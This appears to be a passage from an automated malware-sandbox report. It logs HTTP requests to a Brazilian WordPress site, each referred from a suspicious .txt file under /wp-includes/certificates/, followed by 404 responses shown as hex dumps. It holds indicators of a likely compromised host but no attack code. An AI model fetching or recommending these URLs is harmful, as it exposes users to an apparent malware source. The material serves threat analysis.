Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/css/style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/images/content_bg4.jpg HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/switcher.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/arrow_down.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js?ver=2.2.2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/images/up-arrow.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/js/custom-script.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/js/chart.min.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/wp-embed.min.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive

Source: unknown	Network traffic detected: HTTP traffic on port 49180 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49180

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 09:49:43 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 09:49:48 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 09:49:48 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 09:49:54 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Content-Type: text/html; charset=UTF-8X-Varnish: 21188789Age: 0Via: 1.1 varnish-v4Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 30 30 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 